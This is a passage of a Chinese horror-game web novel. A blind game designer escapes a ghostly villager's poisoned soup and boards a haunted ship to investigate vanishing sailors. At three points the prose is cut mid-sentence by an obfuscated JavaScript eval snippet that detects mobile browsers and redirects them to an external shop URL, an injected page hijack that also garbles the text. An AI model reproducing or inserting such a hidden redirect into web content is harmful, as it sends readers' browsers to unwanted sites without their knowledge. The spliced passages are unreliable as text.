拉开游戏舱门,她望着狭窄破旧的办公室,轻轻呼出一口气。 瑜界工作室下个月如果再没有资金注入,就会走向破产清算。 她现在是工作室的总负责人,虽是在薄暮抛售股份后仓促就任,可这些天她几乎将全部心神都投入到游戏里,希望能够挽救颓势。 努力越多,越无力。工作室的排名仍然没有变化,甚至还掉出前1000,榜单上查无此会。 她试着在论坛上招揽颇具知名度的大姥们,消息发了不少,一个回音都没等到。上一个联系的幸然倒是有回复,不过也是态度温和地婉拒。 “怎么办啊?要资金没有,要知名度没有,要人才也没有。” 员工现在只剩三个,加上她整个工作室也不过四人。她揉着太阳穴,感觉前途一片黯淡。 “难道只有卖掉?” 不经意间,墙壁上闪烁的电子标语“我们不制造恐惧,我们定义恐惧的边界”映入眼帘。 她加入瑜界的理由很简单,简单得有点让人怀疑其真实性。 姜菁从小喜欢阅读各类杂书,尤其是历史。在一本介绍前现代的书中,她读到一个差点影响后现代全息世界的人物,薄瑜卿。 得知对方一手创办的产业延续至今,她想也不想就往瑜界投了简历。 可谁曾想,迎来的却是乌云压顶。 “如果薄总还在世就好了。”她落寞地嘀咕一句,摇摇头,盘算着将公司解散的事宜。 12.第 12 章 “唰唰——” 污渍在海水中散开,漆黑的腥臭黏液渐渐沉入深处,和泥沙融为一体。 稀薄的阳光下,渔网渐渐露出原本的白色。它似是具有一定年头,细线边缘泛出一圈暗黄。 【获得装备:破旧的渔网】 【装备介绍:女爵小时候就喜欢跟在母父身后一同出海打鱼。这张渔网是她母亲送给她的十岁生日礼物,一直跟随她到成年。在她决心参与征兵,跟着舰队离乡后,渔网便荒废在仓库中。一次偶然的意外,它发生了“特殊”的变化。】 【当前耐久度:60】 【系统提示:检测到您是第一次获得装备,特别做出以下说明。《地狱登神》里的所有装备不会直接显示出能够量化的属性,只有耐久度。当耐久度归于零时,装备损毁,修复之前无法发挥作用。】 “不显示属性?”摩挲着渔网表面的粗糙材质,薄瑜卿若有所思,“如果没有量化的数值,战斗的时候又怎么判断加成多少、乃至输赢?” 对于这个问题,她更倾向于游戏世界有自己的一套运行标准。比如,在游戏公司公开披露的资料之外,存在一个稳定内核,而且是无法被其它外力硬性干预的。 天霸集团虽然名义上拥有这款游戏的运营权,可其对之的掌握程度并没有达到百分之百。就拿之前她问客服能否将属性点兑换成心智碎片这一点,对方表现出的诧异就说明这个功能她们压根没想过开发。那么,到底是没来得及开发,还是没有能力开发? 薄瑜卿倾向于后者。 “你有什么能力?” 她随口向缠在盲杖上的渔网问了一句。 下一秒,一个区别于系统、稍显稚嫩的声音弱弱地钻入她耳中: 【装备名称:薇尔涅的渔网】 【装备介绍:薇尔涅在十岁时因为被家人认为是拖油瓶,打算借着出海的机会将她偷偷扔到海里溺死。危急关头,她将长发剪断,绑在弟弟脑袋上,将其拖入渔网之中。而她则换上弟弟的衣服,躲回船舱逃过一劫。自那以后,她再也没有回到村子,而渔网则浸满了至亲之血,觉醒了杀戮意志。】 【装备特性:渔网的细线可化作触须,粘住一切试图逃跑的生物。只要进入她的捕猎范围,再没有任何逃出去的可能。】 【忠心值:60】 两个截然不同的装备简介。 薄瑜卿突然停下脚步,面上浮现出一丝兴味。 她原先以为这款游戏就是抄袭她的拙劣仿制之作,现在看来好像不止于此,也有些可以被称作是创新的谜团。 “所以,渔网的真实故事背景系统是不知道的。” 或者说,游戏公司只是把她们自以为在渔网身上发生的故事编撰出来,以达到粉饰太平的效果。 “巧合吗?忠心值和耐久度一模一样。” 这两个数值是否可以画等号?薄瑜卿持保留态度。她目前手里的样本还太少,需要获得更多装备,或在这个数值发生变化后再下结论。 “带我去沉船岬角。” 细线动了动,灵活地牵引着她的盲杖,沿着沙滩向北前行。 阳光穿过厚厚的云层洒落在她面庞,衬得她空洞的眼窝愈发深邃诡谲。 她手里还有生锈的怀表和发霉的舰队花名册没有使用,而这两件物品在获得时并没有弹出所谓的物品提示。 也许,现在还不是时机。 她若有若无地偏过头,在海风的呼啸声中,清晰地辨认出刻意压低的沉重脚步声。 那四个人还是跟上来了。 许是不甘心,又或是觉得能从她手中分一杯羹。她们远远地吊在后面,保持着能看到她又不跟丢的距离,按着她的步伐前进。 “谈姐,我们接下来怎么办?” “一直跟着她,真的能接到任务吗?” “难道你有更好的办法?”谈忆没好气地看了另外两个质疑的队员一眼,想到论坛上的讨论,咬咬牙,“引荐信那边的线索彻底断了,除非我们再回去找权三……还不如跟着她,多半能找到隐藏任务的线索。” ——越是难缠的NPC,放出的任务奖励越是丰厚。 先前对她们四人好感降为负数的水手母亲发放的大概率是稀有隐藏任务。如果能够分一杯羹,她们的新手副本评级也会往上升一个台阶。 “她先前不是放大话让我们跟着吗?若是给不出合理的解释,我们更有理由让她把任务共享出来。到时候,你们可得配合我的话术啊。” 谢海转了转眼珠,提出一个阴损的主意,可这次没有人接茬。 大家都不是傻子,先前被渔网折磨的求生不得、求死不能的记忆尚在脑中,不免得掂量一下是否上赶着去触霉头。 “哎,你们看那是不是权三?” 谈忆发出一声惊呼,引得众人纷纷向她手指的方向望去。 站在礁石旁的透明身影慢慢转过来,恰是一个男人的身影。 他个头不高,只有一米六出头,身材倒是颇为健壮,五官透着一丝憨厚之意。 “冒险者你好,我是权三。” 薄瑜卿认出,对方就是先前在雾气中和她搭讪的那位。这一次,她仍然视其为空气,目不斜视地从旁边走过。 “哎,我能感觉到村长将他的衣钵交给了你。” 权三急急忙忙飘到她前面,目光忌惮地扫了一眼缠在她盲杖上的渔网,“你难道不想知道雾骸村的秘密吗?” “不想。” 对方显然没料到她拒绝得如此干脆,愣在原地,后面的话都忘了说。 也是这一刹那,薄瑜卿闻到对方身上飘来似曾相识的腐臭味。她下意识往旁边走去,站在狂风呼啸的海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962451|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸线上。 说话间,后面四人顾不得隐藏身形,纷纷走了上来。 她们之前和权三打过一次交道,此刻仍然是由谈忆出面搭讪,“之前您交给我们的那封信,我们找到村长时,村长已经遭遇不测,没能完成任务。” “啊,这样么?” 权三这次是真的吃了一惊。 “对,信件还被她给撕了。”谢海阴阳怪气地补充道,顺带拿眼睛斜了一眼置身事外的薄瑜卿。 “村长、村长怎么会?!” 权三捂住脸,悲痛地喃喃,“他担任雾骸村村长已经三十多年了,一直做得很好。在他的带领下,我们才侥幸从那场海难中生还。谁曾想……” “你也不要太悲痛了。” 谈忆接到队友的暗示,连忙出声安慰,“我们会想办法将真凶捉住,真相大白,还村长的魂魄一个安息。” 这么说显然有夸张的嫌疑。她们四个只是新手玩家,装备都凑不出来一件,哪能报仇?自保都费劲。 可权三点点头,似是将这段话听进去了,“幸好,幸好还有你们这些勇士来帮助村子。” “若是村长在天有灵,一定会很欣慰看到这一幕。比起报仇,他现在最大的心愿是将徘徊在海上的恶灵彻底封印。” 提及恶灵,他的神色严肃起来: “你们有没有听过归墟女爵的传闻?” “没有,可以给我们讲讲吗?”谈忆适时表示出兴趣。 “归墟女爵本名薇尔涅,在雾骸村出生。她家境优渥,从小集万千宠爱于一身。可是她却有天然的性格缺陷,不仅喜欢虐杀猫狗,还经常殴打她的兄弟。” “啊,这么残忍!” “何止是残忍,就是变态!她自小就表现出强烈的反社会人格。无论是她的父母,还是教堂牧师,亦或是学院讲师都拿她毫无办法。” 权三摇摇头,语气低沉,“即使全村人都想办法改造她,可悲剧还是发生了。在她十岁那年,她亲手将自己的弟弟丢入海中淹死,而她则畏罪潜逃,再也没有回来。” “等我们再一次听到她的消息已然是二十年后。那时的她靠着凶残作风被暗影仲裁会看中,成为其手下的一把利刃,率领舰队四处闯荡。” “当她派使者将拜访信件送回来时,全村人都陷入惶惶不安。我们都怕这尊杀神,怕的要命。幸运的是,她的舰队在一次海难中全军覆没,无人生还。不幸的是,这片海域就在附近。” “难道说——”谈忆紧张地看向海面升起的白雾。 “薇尔涅化作恶灵,永远徘徊在这片海域上。我们每个外出捕鱼的人都要小心她的突然袭击,稍有不慎,便会被拉入幽暗的海域中,永远无法回来。” 讲完这段往事,权三长舒一口气,脸上慢慢堆上笑容,“还好,我们等到了你们,勇敢的冒险者。” 13.第 13 章 “说了这么多,你们一路赶来也累了,喝碗海鲜汤再出发吧。” 说着,他从身后变戏法般端出一碗碗热气腾腾的汤,挨个递到玩家手里,“祠堂里的海神会赐予我们平安归来的祝福。” 碗里有虾、贝壳、鱿鱼,螃蟹,浓重的鲜香掩盖了一丝若有若无的酸臭味。霎时间,所有玩家眼前都出现了一行提示: 【物品名称:权三精心熬制的海鲜汤(保质期10分钟)】 【物品介绍:汤底蕴含着勇气与决心,喝下后全属性提升50%,持续三小时,无法主动解除。】 “这是好东西!”看到提升幅度,谢海眼睛一亮,立马抢过就往嘴里灌,生怕别人和他抢似的。 其她三人也不逞多让,纷纷将汤底喝个精光。 “这位冒险者,你为什么不喝?可是不合胃口?”权三眸光微闪,笑着看向仍然面向大海的薄瑜卿。 “我对海鲜过敏。” 薄瑜卿扯了一下嘴角,顺手将攀爬上她衣角的渔网拨开。后者见她没有喝的意图,这才安安分分地缩回去,继续充当盲杖上的花纹装饰。 “啊,我倒是将这个忘了。你稍等,我这就再给你弄一碗不带海鲜的。” “不必了。村长既然已经不在人世,我们下一步该怎么办?” 她顿了顿,抛出一个问题,“我们该怎么做才能封印恶灵呢?” 这一下,连谈忆等人的注意力也被吸引过去。她们来找权三的目的就是看能否继续任务,好提升等级离开新手村。眼下,不觉顺着她的话继续往下说: “是啊,我们需要做些什么才能拯救村子?” 闻言,权三盛汤的动作不禁一顿,“你在村长那里应该拿到了舰队花名册吧。” “好像有。” 他转向薄瑜卿,语速飞快地说,“把它给我。” 话音刚落,他又缓和了语气,为自己的急躁找补,“花名册记载着恶灵的名讳,若是用秘法祭给海神,能有效遏制它们的行动。” “原来如此,我找找。” 薄瑜卿作出恍然大悟状,不假思索地答应,手却慢腾腾的。她在口袋里摸了半天,又将行囊打开抖了抖,十分钟后,面上浮现出一丝歉意,“哎呀,我不知道放哪去了。” “不是,这么重要的道具,你——” 谢海在旁边急得团团转,感觉牙都要咬碎了。他好不容易看到任务完成的希望,现在又眼睁睁看着其在指尖飞走。 “你再找找,会不会放在哪,但一时之间不记得?”权三看上去要情绪稳定许多,虽未直接催促,语调中仍是透着着急。 “我突然想到一个问题。”薄瑜卿动作停了一下,漫不经心地开口,“你自己找村长要来花名册也行,为什么要通过我们?” “那是因为归墟女爵对雾骸村种下的恶毒诅咒。” 权三叹了口气,“饶是村长本人,也不能直接接触她留下来的遗物。在村子里,如果我们不小心碰到,会发生非常可怕的事。所以才拜托你们帮忙带到村子外面——这片礁石是介于村子和海洋的中心地带,诅咒无法波及。” “这样啊。哦,我找到了。” 薄瑜卿一顿,从口袋里将一本破破烂烂的书抽出来。 “对,把它给我!” 似是被对方忽然提高的声音惊到,她手一抖,纸张发出簌簌声,竟顺着海风被卷落海里。 “扑通!” 水花溅起,涟漪一圈圈荡开,很快看不见半点的踪影。 “不!”权三大喝一声,整个人条件反射地前倾,往水花消失的方向扑去。 就在这时,漆黑的海水翻滚起来。飘渺的白雾仿佛闻到血腥味的鲨鱼,由远及近,宛若狂风过境直直向着岸边扫荡。 “不!!” 权三再一次大喊起来。这次,是撕心裂肺的大吼。 下一秒,令人目眦欲裂的一幕发生了: 他被一股看不见的力量抓着,慢慢向雾气深处拖。而在他挣扎的身体上,竟浮现出截然相反的漆黑雾气。黑雾所过之处,将他的皮肤变得像干枯的树皮,裂开道道皱纹。 他敦厚的面孔也变得丑陋苍老,一双血红的眼睛不甘地瞪大,狠毒地盯着岸上几人,宛若地狱里爬出来的怨灵。 “你……你们……啊!!” 这一切发生在须臾之间,总计不到十秒。 “嗡——” 号角吹响。大海之上,一艘巨轮的影子渐渐穿透雾气,靠向岸边。 “这、这是什么?” 谈忆已经被眼前这一幕吓傻了。活生生的NPC转眼间化作恶鬼被雾气吞噬,连半点灰烬都没留下。 她们一直打交道的权三居然是鬼?! 所以,薄瑜卿先前将引荐信撕碎的举动,实际是暗中救下她们一命? 若是找村长继续任务,她们岂不是在为虎作伥,距离通关道路越来越远? 冷汗自额头滴落,她下意识往后退,余光扫见薄瑜卿还站在原地,嘴唇微动,似乎在和什么东西对话。 这一刻,她觉得对方的形象在她眼中无比神秘。仔细想想,从一开始权三出现,对方就对之视而不见,反倒是她们四人眼巴巴地凑上去,什么事都抢着做,跟二傻子似的。 如果能穿越回去,谈忆恨不得给自己一个大耳光。 ——若非这一变故,她们还傻乎乎的蒙在鼓里,被人卖了都不知道! 腿脚发软,她没胆量留在原地,连忙撒腿就跑。 幸运的是,身体在海鲜汤加成下格外轻盈,跑步时跟飞起来似的。属性的大幅度提升让她心底冒出几分自信:说不定,她可以逃过一劫呢? “沙沙……” 然而没跑两步,她惊惧地在余光看见雾气紧随其后,甚至比她奔跑的速度更快。 “啊啊啊——” 一声声来自队友的凄厉惨叫响起,令她头皮发麻,小腿肚因过分用力而有些抽搐。 再快点、再快点啊! 胸腔剧烈起伏着,她使出吃奶的劲迈开双腿,脑中电光火石闪过一个疑惑:大姥为什么站在原地,不和她们一起跑?难不成,对方还有别的手段? 没忍住,她回头看了一眼,可这一眼,差点没把她吓得魂飞魄散:雾气已然化作大手,狠狠掐向她的脖子。 恐怖的窒息感紧随其后。没撑过两分钟,她也步上队友们的后尘。 【你已经死了】 【是否花费1心智碎片复活?】 …… “我看到了你复仇的决心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967757|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,女爵。” “那个任务,我接下了。” 礁石旁,薄瑜卿压根没有去管几人死活。她将手里的汤碗慢慢放到地上,碗中的鱼蟹全部化作黑糊糊的怪东西,浓稠的汤汁也渐渐褪色,变为漆黑的污泥。 【物品名称:权三精心准备的黑暗料理(保质期:永久)】 【物品介绍:汤底蕴含着算计与龌龊,喝下后10分钟内全属性提升50%,但会代替权三被归墟女爵视为猎杀目标,持续三小时,无法主动解除。】 自从权三将汤碗递给她时,她的耳畔就出现了这个和系统提示不一样的声音。 有之前渔网的经验,她迅速判断出哪个才值得相信。 而权三既然敢暗中动手脚,也就说明对方极为忌惮这位归墟女爵,甚至压根无法和其对抗。那么,她完全可以借后者之手,兵不血刃将这个险恶小人除掉。 之所以故意将花名册扔到水中,是因为前方的海洋在她捞取定位罗盘时便得知名为归墟之海,一听就是女爵的地盘。权三只要踏入其中,必死无疑。 加上先前在祠堂里她和对方的交谈,只要女爵尚存一丝血性,定然不会放过这个千载难逢的机会。 后来的事态发展和她预料得大差不差。 “好久没有坐游轮了。” 她盯着愈发凝实的雾气“看”了一会,忽然挥动盲杖,踩着水花向着海面走去。 她没有忘记将那本花名册拾起,抖了抖封皮上湿哒哒的水痕,将其揣入背包。 “吱嘎——” 仿佛有感应般,舱门打开,老旧的登船梯缓缓伸出,落在她面前,仿佛一封邀请函。 她没有犹豫,扶着栏杆,一步步走上去。 就像在登上一艘观光客轮,她面上只有轻松与惬意,全然不见紧张之色。 此刻,在她身后不远处,四名刚刚复活的玩家面色惨白地注视这一幕。 “我们也去!” 谈忆眼看对方的身影消失在栏杆处,不知哪来的勇气,也向着巨轮投下的阴影跑去。 “喂,你疯了!” 谢海脸色惨白,嘴唇直打哆嗦,“我们快下线吧,这副本难度太逆天了!我这就回去跟我父亲说,给我们找个轻松的新手副本……” “她能识破权三的伪装,说不定也能看透这艘船上的恶灵!这种时候,不抱紧大姥大腿,更待何时!你不去就算了,我一定要蹭上大姥的好友位!” 谈忆斜他一眼,不再多言,拖着沉重的脚步跨上楼梯。 “是啊,刚才我们说那些话,说不定已经把大姥得罪了。” “要是听大姥的,我们或许都不用死!” 后面两个队友也被她说动,跟在其后面。 “哼,那就是侥幸蒙对了而已!” 嘴里嘟囔着,谢海脸上青一阵白一阵。良久,他一咬牙,迈着打颤的双腿追上她们。 “沙沙——” 登船梯仍然晃晃悠悠垂在水面上,仿佛在等她们全部到齐一般。 待到最后一个人上去时,梯子突然消失了,像是从来没有出现过。 雾气愈浓,很快,将庞大的船只尽数笼罩。 良久,一阵微风吹来,白茫茫的海面上空无一物,只有无边的死寂。 14.第 14 章 【您已进入:破誓者号(难度:未知)】 【嘀!寻找失落的船只残骸任务已完成,获得[一次性救生圈*1]。】 【物品介绍:如果你不小心溺水,那么它绝对是你的最佳帮手~(当前剩余使用次数:1)】 霎时间,薄瑜卿感觉背包中一沉,明显多了一物。 她没有太在意救生圈的物品说明,这显然是个保命道具,毋庸置疑。她真正觉得有趣的是——任务往下推进的方式。 在传统游戏概念中,她需要再折返回水手母亲那里交还寻找残骸任务,才能开启下一环。而现在系统直接判定她完成,也就侧面说明寻找船只残骸只是一个提示般的前置指引,真正的故事还需要她登船以后自行探索。 换言之,哪怕她用罗盘获得接取特殊任务的资格,也不代表后续的任务就会一股脑地全发给她,仍然需要她主动挖掘线索。 “这样的设计避免了无脑通关和躺平,某种程度上增加了游戏的可玩性,值得借鉴。” 思绪收回,薄瑜卿用盲杖点着舱板,慢慢向前走去。 一股若有若无的阴冷围绕在她身边。 此时,如果有第三人在场,会诧异地发现整艘船只残骸都笼罩在浓郁的迷雾中。一双双发红的眼睛长在蠕动的怪异身形上,直勾勾注视着薄瑜卿离开的方向。 就像按下静止键的默剧,只有她一个人熟视无睹地在其中穿行。 “沙沙……” 海风吹起她散落在肩上长发的同时,也带来一股若有若无的腐臭味。这股气味仿佛浸入船只的每一寸,如影随形。 “你好。” 一个空灵悦耳的声音突兀在她耳边响起。薄瑜卿停下脚步,稍稍偏过头,没有第一时间开口,反倒鼻尖微动。 “尊敬的贵客,欢迎登上破誓者号。我是您本次航行的接待员,下面请容我用十分钟左右的时间向您介绍一下船只布局。” “嗯。” “您目前所在的位置是休闲甲板,可以看到辽阔的海面,是饭后散步放风的好去处。晚上八点以后,这里还不定时有娱乐活动举办,欢迎来观看。” “往前面走,沿着台阶往上是客舱。您的房间号是……A45,这是房门钥匙,请您务必保管好。” 薄瑜卿伸出手,一把湿漉漉的钥匙落在她掌心。 她不动声色地将其收起,“这艘破誓者号的船长是归墟女爵吗?” “是、是的。” 那声音像是没料到她突然提出这个问题,微微吃了一惊,随后立马给出肯定答案,“破誓者号是暗影仲裁会为女爵殿下建造的专属游轮,将军事与休闲融为一体。既能随时投入战斗,又可以用于海上观光。” “听上去不错。”薄瑜卿并未过多评价,“她在哪?船长室?” “女爵殿下的行踪我也不清楚,她从来不接见外人。” 悦耳的声音顿了顿,显出一丝为难,“如果您执意找她,可以尝试完成公告栏上张贴的英雌贴。不仅可以获得丰厚奖励,还能获得女爵殿下的青睐。” “那是什么?” “等会我会向您介绍。来,这边走,小心台阶。” 空荡荡的走廊上,只回荡着她一个人的脚步声。与此同时,耳畔的解说还在继续: “负一楼是餐厅和舞池,晚餐结束后会有舞会。您若是担心感到不自在,可以戴上面具融入其中。提前预祝您度过愉快的夜晚!” “其它的区域像会议室、船员休息室以及救生艇存放处等不对外开放,我就暂且不向您做过多说明。” 那个声音顿了顿,话锋一转,“现在我们已经到达公告栏的前面。如果您想见到女爵,这是最为便捷的方式。” 闻言,薄瑜卿停下脚步,“上面写的什么?” 她看似随意地问。 “查明一桩多人失踪事件。近日,船上接连出现水手失踪,却没有一个目击者能够完整说清楚到底发生了什么。女爵殿下特别聘请多名私人侦探暗中调查,却也都煞羽而归,甚至有个别同样消失在船上,使得人心惶惶。因而,女爵殿下下令:凡是能查明真相者可以获得她的一则亲口承诺。” “如果您想见到女爵殿下,完成这份英雌贴即可。”对方又强调一遍。 “我明白了。” 薄瑜卿拄着盲杖,在一块歪歪扭扭的木板前站定。她伸出手,又快又准地将位于中间的告示用力一揭。 【系统提示:您接下了英雌贴(特殊),接受任务:查明船上水手连续失踪事件的真相,限时4小时。注意:若规定时间内没有完成任务,将剥除宾客身份并被逐出破誓者号。】 这一刹,周围彻底安静下来,刚才热情为她指引的女声也消失不见。 如果薄瑜卿此刻有视力,会发现从她踏上甲板到现在为止,地上都只有属于她一个人的脚印。而在她身侧半米处,则是滴滴点点漆黑粘稠液体,像是有小虫子在其中蠕动。 现在,那道蜿蜒的水痕原地蒸发,再无一丝痕迹。 “四小时。” 她把从村长那里拿到的生锈怀表取出,放到渔网前面挥了挥,“上面的指针在动吗?如果在动,拉一下我的衣角。” 下一秒,细线轻轻地拽了一下她的袖子,生怕不小心对她造成伤害,引火自焚。 薄瑜卿继续问,“时间能看到吗?把你看到的在我手里写出来。” 这一次,渔网迟疑的时间有些久。 终于,细线在她掌心试探地挠了挠,像是六,又像是八。 “也对,这件事对你来说着实困难。” 薄瑜卿直起腰,不甚在意地将怀表放入口袋。她又尝试和系统沟通,可语音功能就像她在输入地址时一样,永远只念一半。 【物品名称:生锈的怀表。】 至于表盘上写的什么,似是超出了语音播报的范围。 “也罢。” 常规手段不行,薄瑜卿暂时熄了看时间的打算。 她只是本能的觉得四小时时限有古怪。如果英雌贴的用意在于探明真相,那么理应将时间拉长才对。现在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973524|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,反倒像是故意提高难度让人完不成,从而被赶下船。 但也不排除另一种可能:在船上存在某种时间诅咒,四小时为一个轮回。若是这样的话,观察时间变化的意义反而不大,更像是一种提示。 不论怎样,薄瑜卿暂时都无法验证她的猜测。或者说她需要找一双能信得过的眼睛,帮她准确读出表盘上的时间。 “继续沿着水手这条线追查下去吧。” 她摸了一下耷拉下来的渔网,以示安抚。 后者连忙分出几道细线缠上她的手,讨好地勾了勾。 她没有去接待员刚才介绍过的区域,反而向对方明令禁止的船员舱室走去。 “第一现场往往最有说服力。” 按照“水手失踪”这条线索往后推,她肯定要去其住宿的舱室看一看。 接待员虽然没有告诉她在哪个方向,但依照她以前多次乘坐游轮的经验,大概能够推断出在什么位置。 “啪嗒。” 随着她推开沉重的铁门,脚下的地板相比之前更添一份湿意。像是被水长时间浸泡过一般,边缘甚至有些软烂。 薄瑜卿自一扇扇紧闭的房门前走过。 走廊尽头,传来强烈的呼啸风声,夹杂着动力引擎的轰鸣。 “吱嘎——” 一扇门突兀在她左前方打开,阴冷的雾气凝聚成人形。她的瞳孔深处是和雾气如出一辙的混沌,泛着猩红的光芒。 “你是什么人,怎么会出现在这里?” 女人声音粗哑,却格外洪亮,震得墙壁嗡嗡响,“这里是船员休息舱室,严禁外人进入!麻烦尽快离开。” 听出她话里的不善之意,薄瑜卿迅速将那张告示取出,在其面前晃了晃,“我是奉女爵殿下的命令,来调查水手连环失踪事件的,请行个方便。” “那你来错地方了,我们这里根本没有人失踪,我也没听说女爵殿下发布什么公告。” 女人的声音冷下来,不耐之色溢于言表,“如果你再不走,就不要怪我用非常手段请你出去了!” “那这件东西,你总该认得吧。” 薄瑜卿像是没察觉到对方语气中明晃晃的威胁,不慌不忙地又取出一物,坦然地展示给对方。定位罗盘静静地躺在她手心,外壳散发着淡淡金属光泽,边缘还粘着一根水草。 “这是西娜的——” 对方不禁吸了一口凉气,随后警惕地追问,“它怎么会在你手里?” “你不用管它是如何落到我手里的,你只需要知道,我是奉水手母亲华轩秀的请求,特意来此处寻找她失踪的女儿。” 将她的反应听在耳朵里,薄瑜卿顺势加重语气,“人证物证俱在。事到如今,你还要说失踪一事不存在吗?如果你只是单纯的害怕,不愿意面对同伴尸骨未寒的现实,我还勉强能理解。假如你参与其中,帮着掩盖真相,现在这副做派未免太令人作呕。” “我不——” “不管是前者还是后者,你根本没有资格挡在我前面,阻止我寻找真相。” 15.第 15 章 “我、我……” 女人张了张口,紧绷的面上闪过些许茫然。半晌,她放软了语气,“我并不是想阻止你。” “没有阻止?你刚刚的每个字、甚至语气和动作都在向我传递你不希望我继续调查的意思。” 薄瑜卿倏尔将罗盘收回,反问,“需要我帮你回忆一遍吗?” “……” 对方哑然,可她显然不打算这么轻易地将其放过,“助纣为虐这个成语听说过吧?你现在在做的事情,就是在帮助凶手让你的同伴们无法安息。” “呵,还把我请下去。如果我手下有你这样的员工,没把你丢到海里都不错了。” 她空洞的眼窝注视着比她高一个头的女人,这一刻,仿佛对方才是渺小的那个,气势完全被她给压了下去。 “你还有什么要说的吗?” “没、没有。” 女人后退一步,目睹她拄着盲杖慢慢悠悠地往前走。 “愣着干什么?把你知道的告诉我。” “是!”没来由的,她有种面对女爵训话时的压迫感。不等她细想,身体的反应快过大脑,已然三步化作两步跟上去。 简短的沟通中,薄瑜卿得知这名船员的基本信息。 她的名字叫奥蒂列特,是船上资历较老的一批水手,已经出海十二年。 可以说,女爵刚刚发迹时,她就跟随在其身边,是当之无愧的元老级人物。 “罗盘是华西娜的。她三年前才加入我们,因为同是雾骸村出生,女爵殿下对她颇为关照,一些重要的场合都会安排她同行。此等殊荣,我们很多老水手都没有,偏偏她就因为出身这一条就占了大便宜……” 奥蒂列特说这些时,语气难掩羡慕。 “不仅仅是出身的问题,起码在我看来不是。” 薄瑜卿打断她,“你们在怀疑船只是否原地打转时,只有她一个人付出行动,将罗盘扔入水面。我们暂且不讨论这种行动能否达到效果,但起码在行动力上,她优于你们。如果是我,我也希望提拔这样的人跟在身边。” 她一针见血的指出问题。 “我们聊些和失踪事件有关的吧。休息室很安静,其她人都去哪了?” “唔,她们都在各自的岗位上,比如观测风向,服务宾客或者是维护游轮日常运行。” 奥蒂列特还没有从她刚才那番话回神,下意识答道,“我之所以留在这里,是因为每周有一天休息时间,我正好选在今天休息。” 说话间,又有几扇房门打开的声音,却没有任何脚步声传出。隐藏在其中的,还有细微的水滴声。 “她们也是今天休息。”水手补充道。 薄瑜卿侧耳倾听了一会,冷不丁地问,“关于船上的连环失踪事件,你知道多少?” “啊?我、我真的不清楚……西娜消失的那天晚上,我什么都没看见。” 她语无伦次。 “这样啊。”薄瑜卿点点头,像是完全相信了她的说辞,“既然你确实不知道,我也不为难你了,你回去休息吧。” “好。”水手明显松了一口气,正当她转过身准备走时,又被叫住: “你的房间是几号?之后我可能会来找你。” “……B21。” “嗯。”薄瑜卿摆摆手,“你可以走了。” 这次水手倒是一步三回头,见她确实没有再叫住自己的意思,才逃也似的跑回去,迅速关上门。明明是个什么都看不见的盲人,可她却从对方身上感到无边的压迫感,让她原本的小算盘忘得一干二净。 “哒、哒、哒。” 走廊很长。 薄瑜卿仿佛没有察觉到周围越来越冷的空气,依然按照自己的步伐前行,直到面前出现了一堵墙壁。 “啪嗒。” 一个细小得几乎被风声掩盖的声音钻入她耳畔,随之而来的还有落在衣角的点点湿润水渍。 仿佛有什么东西悬在她头顶,正在徐徐向下漏水。 渔网拉扯着盲杖的力道不觉缩紧,细线蓄势待发,准备迎接随时可能出现的危险。 “上面啊。” 薄瑜卿仰起头,混杂着腐臭与潮湿的鱼腥味钻入鼻腔。她面色不变,甚至深深地吸了一口气。 “没有出现buff,说明你腐烂的还不够彻底。” 她举起盲杖,就像在用一根拐棍一样戳了戳天花板,“下来聊聊吧。” 周围仍然静悄悄的,除了沿着墙角不断滑落的水流。 “嘎吱——” 旁边的门突然打开一条缝,仿佛有一只无形的手压下门把手,请她入内。 薄瑜卿几乎没有迟疑地抬腿走入。两级台阶之下,是一个完全陌生的空间。 海浪翻涌的声音愈发近了,仿佛在脚底下。甚至给她一种错觉:她只要弯下腰,便能将手伸入深不见底的海水中。 “这里是……” 薄瑜卿驻足,按在栏杆上的指尖微微用力,“还不出来解释吗?接待员。鬼鬼祟祟的偷窥,可不像接待客人之道。” “你怎么发现我的?” 悦耳的声音自她头顶响起。下一秒,薄瑜卿直接用盲杖对其戳去,“我不喜欢有人站在我的头顶。是人是鬼,下来说话。” 她的语调冷下来。 像是感受到她的心情般,缠绕着的渔网张牙舞爪地伸开。仿佛只要她一声令下,就会冲上去将不明生物捆成粽子。 “抱歉,我不是有意的。” 窸窸窣窣声响起,随后是什么东西掉落的砰响。 “帮她一下,小鱼。” 摆好姿势的渔网愣了一下,半晌才反应过来她是在叫自己。于是,它立马从进攻姿势切换成为辅助形态,细线将瘫在地上的东西往上一提,督促其站好。 滴滴答答的水声愈发明显,夹杂着触须吸附在地面的细微响动。 